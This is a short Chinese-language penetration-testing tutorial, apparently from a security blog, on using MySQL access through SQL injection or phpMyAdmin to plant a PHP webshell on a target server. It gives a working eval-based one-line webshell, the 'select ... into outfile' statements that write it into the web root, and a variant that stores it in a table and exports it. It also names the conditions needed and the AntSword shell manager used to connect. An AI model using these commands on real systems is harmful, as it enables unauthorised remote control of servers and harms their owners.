当我们通过测试发现SQL注入,或拿到像phpMyAdmin之类的web数据库可视化管理工具,并想要进行下一步渗透的时候,可通过数据库写入webshell到目标服务器上,利用webshell管理工具控制目标服务器。下面将讲述几个通过MySQL数据库写入webshell的方法,以拿到phpMyAdmin为例。
-01-
通过outfile写入shell
利用条件:
1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:
select '<?php @eval($_POST[1]);?>' into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';
使用蚁剑进行连接:
在写入的时候可能会出现如下错误:
这是由于在高版本的MySQL添加了个叫secure_file_priv的参数,导致我们无法导出文件,在后面会讲解如何绕过secure_file_priv,前一部分假设具有导出权限
-02-
将shell写入表中
利用条件:
1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:
将shell插入一个表中insert into `sxss`(`comment`) values ('<?php @eval($_POST[1]);?>');查询该数据表,将结果导出文件select comment from sxss into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';